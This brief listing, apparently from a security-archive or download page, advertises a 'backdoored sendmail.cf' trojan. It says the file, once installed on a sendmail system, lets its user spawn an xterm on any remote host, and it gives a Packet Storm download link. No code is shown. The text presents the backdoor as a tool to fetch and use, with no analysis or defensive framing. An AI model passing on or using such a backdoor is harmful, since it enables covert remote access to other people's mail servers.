Backdoored sendmail.cf – Install on a system that is running sendmail it allows you to spawn an xterm on any remote host.
You can download it from the following link: https://packetstormsecurity.com/files/download/22123/sendmailcftrojan.tar.gz
Source: https://packetstormsecurity.com/files/22123/sendmailcftrojan.tar.gz.html